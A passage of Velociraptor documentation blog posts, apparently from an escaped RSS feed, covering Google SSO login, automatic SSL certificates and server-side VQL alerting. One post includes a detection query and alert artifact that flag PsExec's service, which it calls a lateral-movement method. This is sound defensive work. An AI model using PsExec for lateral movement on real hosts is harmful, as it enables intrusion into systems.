&amp;quot;192.168.0.10:40570&amp;quot;,&#xA;  &amp;quot;time&amp;quot;: &amp;quot;2018-12-21T18:17:47+10:00&amp;quot;,&#xA;  &amp;quot;user&amp;quot;: &amp;quot;mike@velocidex.com&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In order to authorize the user we must explicitly add them using the&#xA;velociraptor admin tool:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor --config ~/server.config.yaml user add mike@velocidex.com&#xA;Authentication will occur via Google - therefore no password needs to be set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that this time, Velociraptor does not ask for a password at all,&#xA;since authentication occurs using Google&#39;s SSO. If we hit refresh in&#xA;the browser we can now see the Velociraptor application:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso//blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso/8.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1055&#34; height=&#34;672&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;8.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can see that the logged in user is authenticated by Google, and we&#xA;can also see their Google avatar at the top right for some more eye&#xA;candy :-).&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Thanks &#34;&gt;&lt;p&gt;Shouts to the folks from &lt;a href=&#34;https://www.kleinco.com.au/&#34; target=&#34;_blank&#34; &gt;Klein &amp;amp; Co&lt;/a&gt; who&#xA;sponsored this exciting feature!.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;</description>
    </item>
    <item>
      <title>Configuring Velociraptor for SSL</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/12/22/configuring_velociraptor_for_ssl/</link>
      <pubDate>Sat, 22 Dec 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/12/22/configuring_velociraptor_for_ssl/</guid>
      <description>&lt;p&gt;We have previously seen how to deploy a new Velociraptor server. For a&#xA;simple deployment we can have Velociraptor server and clients&#xA;provisioned in minutes.&lt;/p&gt;&#xA;&lt;p&gt;Usually we deploy a specific Velociraptor deployment on our DFIR&#xA;engagements. We use cloud resources to provision the server and have the&#xA;clients connect to this cloud VM. A proper secure deployment of&#xA;Velociraptor will use SSL for securing both client communication and&#xA;protecting the web GUI.&lt;/p&gt;&#xA;&lt;p&gt;In the past provisioning an SSL enabled web application was complex and&#xA;expensive - you had to create certificate signing requests, interact&#xA;with a CA. Pay for the certificates, then configure the server. In&#xA;particular you had to remember to renew the cert in 2 years or your&#xA;website suddenly broke!&lt;/p&gt;&#xA;&lt;p&gt;Those days are over with the emergence of Lets Encrypt! and autocert.&#xA;These days applications can automatically provision their own&#xA;certificates. Velociraptor can manage its own certificates, fully&#xA;automatically - and then renew its certificates when the time comes with&#xA;no user intervention required.&lt;/p&gt;&#xA;&lt;p&gt;In this blog post we will see how to configure a new Velociraptor server&#xA;in a cloud VM.&lt;/p&gt;&#xA;&lt;h1 id=&#34;setting-up-a-domain&#34;&gt;Setting up a domain&lt;/h1&gt;&#xA;&lt;p&gt;The first step in deploying an SSL enabled web application is to have a&#xA;domain name. SSL verifies the authenticity of a web site by its DNS&#xA;name.&lt;/p&gt;&#xA;&lt;p&gt;We go over to Google Domains and buy a domain. In this post I will be&#xA;using the domain rekall-innovations.com.&lt;/p&gt;&#xA;&lt;h1 id=&#34;provisioning-a-virtual-machine&#34;&gt;Provisioning a Virtual Machine&lt;/h1&gt;&#xA;&lt;p&gt;Next we provision an Ubuntu VM from any cloud provider. Depending on&#xA;your deployment size your VM should be large enough. An 8 or 16Gb VM&#xA;should be sufficient for around 5-10k clients. Additionally we will need&#xA;sufficient disk space to hold the data we will collect. We recommend to&#xA;start with a modest amount of storage and then either backup data as it&#xA;gets collected or increase the storage volume as needed.&lt;/p&gt;&#xA;&lt;p&gt;Our virtual machine will receive connections over ports 80 and 443.&lt;/p&gt;&#xA;&lt;p&gt;::: {.note}&#xA;::: {.admonition-title}&#xA;Note&#xA;:::&lt;/p&gt;&#xA;&lt;p&gt;When using SSL both the client communication &lt;em&gt;and&lt;/em&gt; the GUI are served&#xA;over the same ports to benefit from SSL transport encryption.&#xA;:::&lt;/p&gt;&#xA;&lt;p&gt;When we deploy our Virtual Machine we may choose either a static IP&#xA;address or allow the cloud provider to assign a dynamic IP address. We&#xA;typically choose a dynamic IP address and so we need to configure&#xA;Dynamic DNS.&lt;/p&gt;&#xA;&lt;p&gt;Go to the Google Domains dashboard and create a new dynamic DNS for your&#xA;domain. In our example we will use velociraptor.rekall-innovations.com&#xA;as our endpoint address.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/12/22/configuring_velociraptor_for_ssl//blog/html/2018/12/22/configuring_velociraptor_for_ssl/1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1027&#34; height=&#34;306&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After the dynamic address is created, we can get the credentials for&#xA;updating the IP address.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/12/22/configuring_velociraptor_for_ssl//blog/html/2018/12/22/configuring_velociraptor_for_ssl/2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;816&#34; height=&#34;219&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next we install ddclient on our VM. This will update our dynamic IP&#xA;address whenever the external interface changes. Configure the file&#xA;`/etc/ddclient.conf`:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;protocol=dyndns2&#xA;use=web&#xA;server=domains.google.com&#xA;ssl=yes&#xA;login=X13342342XYZ&#xA;password=&#39;slk43521kj&#39;&#xA;velociraptor.rekall-innovations.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Next configure the service to start:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;# Configuration for ddclient scripts&#xA;# generated from debconf on Tue Oct 23 20:25:23 AEST 2018&#xA;#&#xA;# /etc/default/ddclient&#xA;&#xA;# Set to &amp;quot;true&amp;quot; if ddclient should be run every time DHCP client (&#39;dhclient&#39;&#xA;# from package isc-dhcp-client) updates the systems IP address.&#xA;run_dhclient=&amp;quot;false&amp;quot;&#xA;&#xA;# Set to &amp;quot;true&amp;quot; if ddclient should be run every time a new ppp connection is&#xA;# established. This might be useful, if you are using dial-on-demand.&#xA;run_ipup=&amp;quot;false&amp;quot;&#xA;&#xA;# Set to &amp;quot;true&amp;quot; if ddclient should run in daemon mode&#xA;# If this is changed to true, run_ipup and run_dhclient must be set to false.&#xA;run_daemon=&amp;quot;true&amp;quot;&#xA;&#xA;# Set the time interval between the updates of the dynamic DNS name in seconds.&#xA;# This option only takes effect if the ddclient runs in daemon mode.&#xA;daemon_interval=&amp;quot;300&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Run dhclient and check that it updates the address correctly.&lt;/p&gt;&#xA;&lt;h1 id=&#34;configuring-velociraptor-for-ssl&#34;&gt;Configuring Velociraptor for SSL&lt;/h1&gt;&#xA;&lt;p&gt;Now comes the hard part! We need to configure Velociraptor to use SSL.&#xA;Edit the following in your server.config.yaml file (if you do not have&#xA;one yet you can generate one using velociraptor config&#xA;generate &amp;gt; server.config.yaml ):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;Client:&#xA;   server_urls:&#xA;   - https://velociraptor.rekall-innovations.com/&#xA;&#xA;autocert_domain: velociraptor.rekall-innovations.com&#xA;autocert_cert_cache: /etc/velociraptor_cache/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The autocert_domain parameter tells Velociraptor to provision its own&#xA;cert for this domain automatically. The certificates will be stored in&#xA;the directory specified by autocert_cert_cache. You don&#39;t have to&#xA;worry about rotating the certs, Velociraptor will automatically renew&#xA;them.&lt;/p&gt;&#xA;&lt;p&gt;Obviously now the clients need to connect to the control channel over&#xA;SSL so we also need to direct the client&#39;s server_urls parameter to&#xA;the SSL port.&lt;/p&gt;&#xA;&lt;p&gt;Lets start the frontend (We need to start Velociraptor as root because&#xA;it must be able to bind to port 80 and 443):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ sudo velociraptor --config server.config.yaml frontend -v&#xA;&#xA;[INFO] 2018-12-22T17:12:42+10:00 Loaded 43 built in artifacts&#xA;[INFO] 2018-12-22T17:12:42+10:00 Increased open file limit to 999999&#xA;[INFO] 2018-12-22T17:12:42+10:00 Launched gRPC API server on 127.0.0.1:8888&#xA;[INFO] 2018-12-22T17:12:42+10:00 Autocert specified - will listen on ports 443 and 80. I will ignore specified GUI port at 8889&#xA;[INFO] 2018-12-22T17:12:42+10:00 Autocert specified - will listen on ports 443 and 80. I will ignore specified Frontend port at 8889&#xA;[INFO] 2018-12-22T17:12:42+10:00 Frontend is ready to handle client requests using HTTPS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If all goes well we now can point our browser to&#xA;&lt;a href=&#34;https://velociraptor.rekall-innovations.com/&#34; target=&#34;_blank&#34; &gt;https://velociraptor.rekall-innovations.com/&lt;/a&gt; and it should just work.&#xA;Don&#39;t forget to provision a user and password using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor --config server.config.yaml user add mic&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1 id=&#34;notes&#34;&gt;Notes&lt;/h1&gt;&#xA;&lt;p&gt;The autocert configuration is very easy to do but there are a few&#xA;caveats:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Both ports 80 and 443 must be accessible over the web. This is&#xA;needed because Letsencrypt&#39;s servers need to connect to our domain&#xA;name in order to verify our domain ownership.&lt;/li&gt;&#xA;&lt;li&gt;It is not possible to change the ports from port 80 and 443 due to&#xA;limitations in Letsencrypt&#39;s ACME protocol. This is why we can not&#xA;have more than one Velociraptor deployment on the same IP currently.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;We have seen how easy it is to deploy secure Velociraptor servers. In&#xA;the next post we will discuss how to enhance security further by&#xA;deploying two factor authentication with Google&#39;s Single Sign On (SSO).&lt;/p&gt;&#xA;&lt;p&gt;::: {.note}&#xA;::: {.admonition-title}&#xA;Note&#xA;:::&lt;/p&gt;&#xA;&lt;p&gt;This feature will be available in the upcoming 0.27 release. You can try&#xA;it now by building from git head.&#xA;:::&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Server side VQL queries and Escalation Events</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/12/10/server_side_vql_queries_and_events/</link>
      <pubDate>Mon, 10 Dec 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/12/10/server_side_vql_queries_and_events/</guid>
      <description>&lt;p&gt;Previously we have seen how Velociraptor collects information from end&#xA;points using Velociraptor artifacts. These artifacts encapsulate user&#xA;created queries using the Velociraptor Query Language (VQL). The power&#xA;of VQL is that it provides for a very flexible way of specifying exactly&#xA;what should be collected from the client and how - without needing to&#xA;modify client code or deploy new clients!&lt;/p&gt;&#xA;&lt;p&gt;This is not the whole story though! It is also possible to run VQL&#xA;queries on the server side! Similarly server side Velociraptor artifacts&#xA;can be used to customize the operation of the server -without modifying&#xA;any code or redeploying the server components.&lt;/p&gt;&#xA;&lt;h1 id=&#34;server-side-vql-queries&#34;&gt;Server Side VQL Queries.&lt;/h1&gt;&#xA;&lt;p&gt;By now you are probably familiar with Velociraptor and VQL. We have seen&#xA;that it is possible to run a VQL query interactively from the&#xA;commandline. For example to find all processes matching the &#39;gimp&#39;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor query \&#xA;   &amp;quot;SELECT Pid, Exe, Cmdline FROM pslist() WHERE Exe =~ &#39;gimp&#39;&amp;quot;&#xA;[&#xA; {&#xA;  &amp;quot;Cmdline&amp;quot;: &amp;quot;gimp-2.10&amp;quot;,&#xA;  &amp;quot;Exe&amp;quot;: &amp;quot;/usr/bin/gimp-2.10&amp;quot;,&#xA;  &amp;quot;Pid&amp;quot;: 13207&#xA; }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We have used this feature previously in order to perfect and test our&#xA;queries by interactively building the query as we go along.&lt;/p&gt;&#xA;&lt;p&gt;However it is also possible to run queries on the server itself in order&#xA;to collect information about the server. There is nothing special about&#xA;this as such - it is simply that some VQL plugins are able to operate on&#xA;the server&#39;s internal data store and therefore provide a way to&#xA;interact with the server via VQL queries.&lt;/p&gt;&#xA;&lt;p&gt;::: {.note}&#xA;::: {.admonition-title}&#xA;Note&#xA;:::&lt;/p&gt;&#xA;&lt;p&gt;Other endpoint monitoring tools export a rich API and even an API client&#xA;library to enable users to customize and control their installation. For&#xA;example, GRR expects users write python scripts using the GRR client API&#xA;library.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&#39;s approach is different - the functionality typically&#xA;available via APIs is made available to VQL queries via VQL plugins&#xA;(e.g. client information, flow information and results collected). In&#xA;this way the VQL itself forms an API with which one controls the server&#xA;and deployment. There is no need to write any code - simply use existing&#xA;VQL plugins in any combination that makes sense to create new&#xA;functionality - then encapsulates these queries inside Velociraptor&#xA;artifacts for reuse and sharing.&#xA;:::&lt;/p&gt;&#xA;&lt;p&gt;For example, to see all the clients and their hostnames:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor query \&#xA;   &amp;quot;SELECT os_info.fqdn as Hostname, client_id from clients()&amp;quot; --format text&#xA;+-----------------+--------------------+&#xA;|    Hostname     |     client_id      |&#xA;+-----------------+--------------------+&#xA;| mic-Inspiron    | C.772d16449719317f |&#xA;| TestComputer    | C.11a3013cca8f826e |&#xA;| trek            | C.952156a4b022ddee |&#xA;| DESKTOP-IOME2K5 | C.c916a7e445eb0868 |&#xA;+-----------------+--------------------+&#xA;SELECT os_info.fqdn AS Hostname,&#xA;client_id FROM clients()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To inspect what flows were run on a client:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor query \&#xA;   &amp;quot;SELECT runner_args.creator, runner_args.flow_name, \&#xA;    runner_args.start_time FROM \&#xA;    flows(client_id=&#39;C.772d16449719317f&#39;)&amp;quot;&#xA;[&#xA;{&#xA;  &amp;quot;runner_args.creator&amp;quot;: &amp;quot;&amp;quot;,&#xA;  &amp;quot;runner_args.flow_name&amp;quot;: &amp;quot;MonitoringFlow&amp;quot;,&#xA;  &amp;quot;runner_args.start_time&amp;quot;: 1544338661236625&#xA;},&#xA;{&#xA;  &amp;quot;runner_args.creator&amp;quot;: &amp;quot;mic&amp;quot;,&#xA;  &amp;quot;runner_args.flow_name&amp;quot;: &amp;quot;VFSDownloadFile&amp;quot;,&#xA;  &amp;quot;runner_args.start_time&amp;quot;: 1544087705756469&#xA;},&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1 id=&#34;client-event-monitoring&#34;&gt;Client Event Monitoring&lt;/h1&gt;&#xA;&lt;p&gt;We have also previously seen that Velociraptor can collect event streams&#xA;from clients. For example, the client&#39;s process execution logs can be&#xA;streamed to the server. Clients can also receive event queries which&#xA;forward selected events from the windows event logs.&lt;/p&gt;&#xA;&lt;p&gt;When we covered those features in earlier blog posts, we stressed that&#xA;the Velociraptor server does not actually do anything with the client&#xA;events, other than save them to a file. The server just writes the&#xA;client&#39;s events in simple Comma Separated files (CSV files) on the&#xA;server.&lt;/p&gt;&#xA;&lt;p&gt;We mentioned that it is possible to import this file into another tool&#xA;(e.g. a spreadsheet or database) for post-processing. An alternative is&#xA;to perform post-processing with Velociraptor itself using server side&#xA;VQL queries.&lt;/p&gt;&#xA;&lt;p&gt;For example, we can filter a client&#39;s process execution log using a VQL&#xA;query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor query &amp;quot;SELECT * from monitoring(&#xA;      client_id=&#39;C.87b19dba006fcddb&#39;,&#xA;      artifact=&#39;Windows.Events.ProcessCreation&#39;)&#xA;    WHERE Name =~ &#39;(?i)psexesvc&#39; &amp;quot;&#xA;[&#xA; {&#xA;  &amp;quot;CommandLine&amp;quot;: &amp;quot;\&amp;quot;C:\\\\Windows\\\\PSEXESVC.exe\&amp;quot;&amp;quot;,&#xA;  &amp;quot;Name&amp;quot;: &amp;quot;\&amp;quot;PSEXESVC.exe\&amp;quot;&amp;quot;,&#xA;  &amp;quot;PID&amp;quot;: &amp;quot;452&amp;quot;,&#xA;  &amp;quot;PPID&amp;quot;: &amp;quot;512&amp;quot;,&#xA;  &amp;quot;Timestamp&amp;quot;: &amp;quot;\&amp;quot;2018-12-09T23:30:42-08:00\&amp;quot;&amp;quot;,&#xA;  &amp;quot;artifact&amp;quot;: &amp;quot;Windows.Events.ProcessCreation&amp;quot;,&#xA;  &amp;quot;client_id&amp;quot;: &amp;quot;C.87b19dba006fcddb&amp;quot;&#xA; }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above query finds running instances of psexec&#39;s service component -&#xA;a popular method of lateral movement and privilege escalation.&lt;/p&gt;&#xA;&lt;p&gt;This query uses the monitoring() VQL plugin which opens each of the CSV&#xA;event monitoring logs for the specified artifact on the server, decodes&#xA;the CSV file and emits all the rows within it into the VQL Query. The&#xA;rows are then filtered by applying the regular expression to the name.&lt;/p&gt;&#xA;&lt;h1 id=&#34;server-side-event-queries&#34;&gt;Server side event queries&lt;/h1&gt;&#xA;&lt;p&gt;VQL queries do not have to terminate at all. Some VQL plugins can run&#xA;indefinitely, emitting rows at random times - usually in response to&#xA;some events. These are called Event Queries since they never terminate.&#xA;We saw this property when monitoring the client - the above&#xA;Windows.Events.ProcessCreation artifact uses an event query which emits&#xA;a single row for each process execution on the end point.&lt;/p&gt;&#xA;&lt;p&gt;However, we can also have Event Queries on the server. When used in this&#xA;way the query triggers in response to data collected by the server of&#xA;various clients.&lt;/p&gt;&#xA;&lt;p&gt;For example, consider the above query to detect instances of psexec&#xA;executions. While we can detect this by filtering existing monitoring&#xA;event logs, it would be nice to be able to respond to such an event&#xA;dynamically.&lt;/p&gt;&#xA;&lt;p&gt;One way is to repeatedly run the same query (say every minute) and look&#xA;for newly reported instances of psexec executions. But this approach is&#xA;not terribly efficient. A better approach is to install a watcher on the&#xA;monitoring event log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor query &amp;quot;SELECT * from watch_monitoring(&#xA;     client_id=&#39;C.87b19dba006fcddb&#39;,&#xA;     artifact=&#39;Windows.Events.ProcessCreation&#39;) where Name =~ &#39;(?i)psexesvc&#39; &amp;quot;&#xA;[&#xA; {&#xA;  &amp;quot;CommandLine&amp;quot;: &amp;quot;\&amp;quot;C:\\\\Windows\\\\PSEXESVC.exe\&amp;quot;&amp;quot;,&#xA;  &amp;quot;Name&amp;quot;: &amp;quot;\&amp;quot;PSEXESVC.exe\&amp;quot;&amp;quot;,&#xA;  &amp;quot;PID&amp;quot;: &amp;quot;4592&amp;quot;,&#xA;  &amp;quot;PPID&amp;quot;: &amp;quot;512&amp;quot;,&#xA;  &amp;quot;Timestamp&amp;quot;: &amp;quot;\&amp;quot;2018-12-10T01:18:06-08:00\&amp;quot;&amp;quot;,&#xA;  &amp;quot;artifact&amp;quot;: &amp;quot;Windows.Events.ProcessCreation&amp;quot;,&#xA;  &amp;quot;client_id&amp;quot;: &amp;quot;C.87b19dba006fcddb&amp;quot;&#xA; }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The watcher efficiently follows the monitoring CSV file to detect new&#xA;events. These events are then emitted into the VQL query and&#xA;subsequently filtered. When the query processes all rows in the file,&#xA;the plugin just sleeps and waits for the file to grow again. The&#xA;watch_monitoring() plugin essentially tails the CSV file as it is being&#xA;written. Note that due to the fact that log files are never truncated&#xA;and always grow, and that CSV file format is a simple, one row per line&#xA;format it is possible to both read and write to the same file without&#xA;locking. This makes following a growing log file extremely efficient and&#xA;safe - even from another process.&lt;/p&gt;&#xA;&lt;h1 id=&#34;responding-to-server-side-events&#34;&gt;Responding to server side events&lt;/h1&gt;&#xA;&lt;p&gt;The previous query will return a row when psexec is run on the client.&#xA;This is a very suspicious event in our environment and we would like to&#xA;escalate this by sending us an email.&lt;/p&gt;&#xA;&lt;p&gt;We can modify the above query to send an email for each event:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT * FROM foreach(&#xA;   row={&#xA;     SELECT * from watch_monitoring(&#xA;       client_id=&#39;C.87b19dba006fcddb&#39;,&#xA;       artifact=&#39;Windows.Events.ProcessCreation&#39;)&#xA;    WHERE Name =~ &#39;(?i)psexesvc&#39;&#xA;   },&#xA;   query={&#xA;     SELECT * FROM mail(&#xA;       to=&#39;admin@example.com&#39;,&#xA;       subject=&#39;PsExec launched on host&#39;,&#xA;       period=60,&#xA;       body=format(format=&#39;PsExec execution detected at %v: %v&#39;,&#xA;                   args=[Timestamp, Commandline])&#xA;     )&#xA;   })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The query sends an email from each event emitted. The message body is&#xA;formatted using the format() VQL function and this includes important&#xA;information from the generated event. Note that the mail() plugin&#xA;restricts the frequency of mails to prevent triggering the mail&#xA;server&#39;s spam filters. So if two psexec executions occur within 60&#xA;seconds we will only get one email.&lt;/p&gt;&#xA;&lt;p&gt;In order for Velociraptor to be able to send mail you must configure&#xA;SMTP parameters in the server&#39;s configuration file. The following&#xA;example uses gmail to send mails (other mail providers will have similar&#xA;authentication requirements).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;Mail:&#xA;  server: &amp;quot;smtp.gmail.com&amp;quot;&#xA;  auth_username: someuser@gmail.com&#xA;  auth_password: zldifhjsdflkjfsdlie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The password in the configuration is an application specific password&#xA;obtained from&#xA;&lt;a href=&#34;https://security.google.com/settings/security/apppasswords&#34; target=&#34;_blank&#34; &gt;https://security.google.com/settings/security/apppasswords&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/12/10/server_side_vql_queries_and_events//blog/html/2018/12/10/server_side_vql_queries_and_events/app_password.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;839&#34; height=&#34;576&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;app_password.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h1 id=&#34;tying-it-all-together-server-side-event-artifacts&#34;&gt;Tying it all together: Server Side Event Artifacts&lt;/h1&gt;&#xA;&lt;p&gt;As always we really want to encapsulate VQL queries in artifact&#xA;definitions. This way we can design specific alerts, document them and&#xA;invoke them by name. Let us encapsulate the above queries in a new&#xA;artifact:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;name: Server.Alerts.PsExec&#xA;description:  |&#xA;   Send an email if execution of the psexec service was detected on any client.&#xA;&#xA;   Note this requires that the Windows.Event.ProcessCreation&#xA;   monitoring artifact be collected.&#xA;&#xA;parameters:&#xA;  - name: EmailAddress&#xA;    default: admin@example.com&#xA;  - name: MessageTemplate&#xA;    default: |&#xA;      PsExec execution detected at %v: %v for client %v&#xA;&#xA;sources:&#xA;  - queries:&#xA;     - |&#xA;       SELECT * FROM foreach(&#xA;         row={&#xA;           SELECT * from watch_monitoring(&#xA;             artifact=&#39;Windows.Events.ProcessCreation&#39;)&#xA;           WHERE Name =~ &#39;(?i)psexesvc&#39;&#xA;         },&#xA;         query={&#xA;           SELECT * FROM mail(&#xA;             to=EmailAddress,&#xA;             subject=&#39;PsExec launched on host&#39;,&#xA;             period=60,&#xA;             body=format(&#xA;               format=MessageTemplate,&#xA;               args=[Timestamp, CommandLine, ClientId])&#xA;          )&#xA;       })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We create a new directory called my_artifact_directory and store that&#xA;file inside as psexesvc.yaml. Now, on the server we invoke the artifact&#xA;collector and instruct it to also add our private artifacts:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor --definitions my_artifact_directory/ \&#xA;    --config ~/server.config.yaml \&#xA;    --format json \&#xA;    artifacts collect Server.Alerts.PsExec&#xA;INFO:2018/12/10 21:36:27 Loaded 40 built in artifacts&#xA;INFO:2018/12/10 21:36:27 Loading artifacts my_artifact_directory/&#xA;[][&#xA; {&#xA;  &amp;quot;To&amp;quot;: [&#xA;    &amp;quot;admin@example.com&amp;quot;&#xA;  ],&#xA;  &amp;quot;CC&amp;quot;: null,&#xA;  &amp;quot;Subject&amp;quot;: &amp;quot;PsExec launched on host&amp;quot;,&#xA;  &amp;quot;Body&amp;quot;: &amp;quot;PsExec execution detected at \&amp;quot;2018-12-10T03:36:49-08:00\&amp;quot;: \&amp;quot;C:\\\\Windows\\\\PSEXESVC.exe\&amp;quot;&amp;quot;,&#xA;  &amp;quot;Period&amp;quot;: 60&#xA; }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h1&gt;&#xA;&lt;p&gt;This blog post demonstrates how VQL can be used on the server to create&#xA;a full featured incident response framework. Velociraptor does not&#xA;dictate a particular workflow, since all its actions are governed by VQL&#xA;queries and artifacts. Using the same basic building blocks, users can&#xA;fashion their own highly customized incident response workflow. Here is&#xA;a brainstorm of possible actions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An artifact can be written to automatically collect a memory capture&#xA;if a certain event is detected.&lt;/li&gt;&#xA;&lt;li&gt;Using the http_client() VQL plugin, when certain events are&#xA;detected on the server open a ticket automatically (using a SOAP or&#xA;JSON API).&lt;/li&gt;&#xA;&lt;li&gt;If a particular event is detected, immediately shut the machine down&#xA;or quarantine it (by running shell commands on the compromised&#xA;host).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The possibilities are truly endless. Comment below if you have 